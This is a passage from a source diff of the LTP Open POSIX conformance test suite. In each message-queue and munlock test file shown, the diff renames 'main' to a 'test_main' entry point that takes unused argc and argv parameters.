mqname[NAMESIZE], msgrv[BUFFER]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/14-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/14-1.c index 39c43f59..3f794744 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/14-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/14-1.c @@ -31,7 +31,7 @@ #define NAMESIZE 50 #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/15-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/15-1.c index 1df8726a..fcba2872 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/15-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/15-1.c @@ -30,7 +30,7 @@ #define NAMESIZE 50 #define BUFFER 20 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; const char *msgptr = "test message"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/17-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/17-1.c index 0f4e4169..8b882952 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/17-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/17-1.c @@ -33,7 +33,7 @@ #define NAMESIZE 50 #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/17-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/17-2.c index 65085bf6..00482ded 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/17-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/17-2.c @@ -34,7 +34,7 @@ #define NAMESIZE 50 #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/17-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/17-3.c index 719be803..afccb7b2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/17-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/17-3.c @@ -34,7 +34,7 @@ #define NAMESIZE 50 #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/18-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/18-1.c index 7d0521a6..52f359fd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/18-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/18-1.c @@ -43,7 +43,7 @@ static void exit_handler(int signo PTS_ATTRIBUTE_UNUSED) return; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/18-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/18-2.c index 7f4bd71c..bdc5dcfd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/18-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/18-2.c @@ -44,7 +44,7 @@ static void exit_handler(int signo PTS_ATTRIBUTE_UNUSED) return; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/2-1.c index 14d61d44..29911dd3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/2-1.c @@ -29,7 +29,7 @@ #define NAMESIZE 50 #define BUFFER 20 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; const char *msgptr = "test message"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-1.c index 406e6502..3059277e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-1.c @@ -37,7 +37,7 @@ #define NAMESIZE 50 #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; const char *msgptr = "test message "; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-2.c index 31fa2fde..1ef8d10a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-2.c @@ -43,7 +43,7 @@ static void exit_handler(int signo PTS_ATTRIBUTE_UNUSED) return; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-3.c index d79d9720..2e9894a8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/5-3.c @@ -43,7 +43,7 @@ static void stopreceive(int signo PTS_ATTRIBUTE_UNUSED) return; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/7-1.c index 1e68c032..9b884f26 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/7-1.c @@ -31,7 +31,7 @@ #define NAMESIZE 50 #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/8-1.c index 69428111..dbadcaa6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/8-1.c @@ -40,7 +40,7 @@ static void exit_handler(int signo PTS_ATTRIBUTE_UNUSED) return; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/speculative/10-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/speculative/10-2.c index 7ace3c4c..77863248 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/speculative/10-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/speculative/10-2.c @@ -32,7 +32,7 @@ #define NAMESIZE 50 #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; const char *msgptr = "test message"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/1-1.c index 0e9de49e..6b57cf7a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/1-1.c @@ -29,7 +29,7 @@ #define BUFFER 40 #define MAXMSG 10 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE], msgrcd[BUFFER]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/10-1.c index 993e8817..433b59d4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/10-1.c @@ -29,7 +29,7 @@ #define BUFFER 100 #define MAXMSG 5 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; char msgptr[MESSAGESIZE]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/11-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/11-1.c index 4842078e..e7eb8af5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/11-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/11-1.c @@ -25,7 +25,7 @@ #define NAMESIZE 50 #define MSGSTR "0123456789" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/11-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/11-2.c index eb218645..d321697e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/11-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/11-2.c @@ -25,7 +25,7 @@ #define NAMESIZE 50 #define MSGSTR "0123456789" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/12-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/12-1.c index f76c8bd7..8e86258e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/12-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/12-1.c @@ -130,7 +130,7 @@ static void *a_thread_func(void *arg PTS_ATTRIBUTE_UNUSED) pthread_exit(NULL); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; int i = 0, ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/13-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/13-1.c index cd698f5f..75b675b8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/13-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/13-1.c @@ -31,7 +31,7 @@ static unsigned invalidpri[NUMINVALID] = { MQ_PRIO_MAX, MQ_PRIO_MAX + 1, MQ_PRIO_MAX + 5 }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/14-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/14-1.c index 0fb851f9..2b359ff1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/14-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/14-1.c @@ -30,7 +30,7 @@ static long messagesize[NUMINVALID] = { 19, 2, 1 }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/15-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/15-1.c index 80452fd7..bd65a11c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/15-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/15-1.c @@ -49,7 +49,7 @@ static void testfailed_handler(int signo PTS_ATTRIBUTE_UNUSED) exit(PTS_FAIL); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char *msgptr = MSGSTR; struct timespec ts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/16-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/16-1.c index 88360cd2..597eb22d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/16-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/16-1.c @@ -56,7 +56,7 @@ static void stopsleep_handler(int signo PTS_ATTRIBUTE_UNUSED) return; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid; struct mq_attr attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/18-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/18-1.c index f8807ace..3e77e8bb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/18-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/18-1.c @@ -27,7 +27,7 @@ #define NAMESIZE 50 #define MSGSTR "0123456789" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/19-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/19-1.c index dd25c011..ea98d38e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/19-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/19-1.c @@ -36,7 +36,7 @@ static int invalid_tests[NUMTESTS] = { -1, INT32_MIN, 1000000000, 1000000001, INT32_MAX }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/2-1.c index 3ecc6dcc..b6120426 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/2-1.c @@ -24,7 +24,7 @@ #define MSGSTR "01234567890123456789" #define MSGSIZE 10 // < strlen(MSGSTR) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/20-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/20-1.c index d2a4e13c..cd824a7b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/20-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/20-1.c @@ -49,7 +49,7 @@ static void testfailed_handler(int signo PTS_ATTRIBUTE_UNUSED) exit(PTS_FAIL); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char *msgptr = MSGSTR; struct timespec ts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/3-1.c index c528442e..aa454342 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/3-1.c @@ -41,7 +41,7 @@ #define BUFFER 40 #define MAXMSG 10 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE], msgrcd[BUFFER]; const char *msgptr1 = MSG1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/3-2.c index 3b1a0f7f..8f0e9938 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/3-2.c @@ -43,7 +43,7 @@ #define BUFFER 40 #define MAXMSG 10 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE], msgrcd[BUFFER]; const char *msgptr1 = MSG1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/4-1.c index 8e087bb6..7efdc7f3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/4-1.c @@ -24,7 +24,7 @@ #define NAMESIZE 50 #define MSGSTR "0123456789" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/4-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/4-2.c index 4e709eee..3c6ba59a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/4-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/4-2.c @@ -24,7 +24,7 @@ #define NAMESIZE 50 #define MSGSTR "0123456789" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/4-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/4-3.c index 93bf979f..2492e060 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/4-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/4-3.c @@ -30,7 +30,7 @@ #define BUFFER 40 #define MAXMSG 5 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE], msgrcd[BUFFER]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/5-1.c index 371cdbcd..d0b08d50 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/5-1.c @@ -52,7 +52,7 @@ static void stopsleep_handler(int signo PTS_ATTRIBUTE_UNUSED) return; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid; char msgrcd[BUFFER]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/5-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/5-2.c index c3f36b20..1cb00e68 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/5-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/5-2.c @@ -50,7 +50,7 @@ static void justreturn_handler(int signo PTS_ATTRIBUTE_UNUSED) return; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/5-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/5-3.c index 3b17b1aa..fd55e862 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/5-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/5-3.c @@ -53,7 +53,7 @@ static void stopsleep_handler(int signo PTS_ATTRIBUTE_UNUSED) return; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid; struct mq_attr attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/7-1.c index 898ed828..4746059b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/7-1.c @@ -37,7 +37,7 @@ #define BUFFER 40 #define MAXMSG 5 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE], msgrcd[BUFFER]; char msgptr[MESSAGESIZE]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/8-1.c index 0f9e8d4c..33e4e4b4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/8-1.c @@ -29,7 +29,7 @@ #define BUFFER 40 #define MAXMSG 5 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE], msgrcd[BUFFER]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/9-1.c index 19426753..4d3ca853 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/9-1.c @@ -31,7 +31,7 @@ #define MSGSTR "0123456789" #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE], msgrcd[BUFFER]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/speculative/18-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/speculative/18-2.c index 1ad86118..9cea7e03 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/speculative/18-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedsend/speculative/18-2.c @@ -27,7 +27,7 @@ #define NAMESIZE 50 #define MSGSTR "0123456789" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/1-1.c index 0dfaa966..6d396935 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/1-1.c @@ -28,7 +28,7 @@ #define NAMESIZE 50 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/2-1.c index 70257b57..afcb4dbb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/2-1.c @@ -48,7 +48,7 @@ static int parent_process(char *mqname, int read_pipe, int write_pipe, pid_t chi static int child_process(char *mqname, int read_pipe, int write_pipe); static int send_receive(int read_pipe, int write_pipe, char send, char *reply); -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE]; pid_t pid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/2-2.c index 3445ebae..63596b69 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/2-2.c @@ -43,7 +43,7 @@ static int parent_process(char *mqname, int read_pipe, int write_pipe, pid_t chi static int child_process(char *mqname, int read_pipe, int write_pipe); static int send_receive(int read_pipe, int write_pipe, char send, char *reply); -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[50]; pid_t pid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/7-1.c index d45cf3f1..2562e901 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/7-1.c @@ -25,7 +25,7 @@ #define TEST "7-1" #define FUNCTION "mq_unlink" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[50] = "/something-which-does-not-exit"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/speculative/7-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/speculative/7-2.c index 446cd691..a81003b7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/speculative/7-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_unlink/speculative/7-2.c @@ -26,7 +26,7 @@ #define TEST "7-2" #define FUNCTION "mq_unlink" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[50] = "/123"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munlock/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munlock/10-1.c index e1c13d5f..aaeba202 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munlock/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munlock/10-1.c @@ -31,7 +31,7 @@ #define BUFSIZE 8 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv 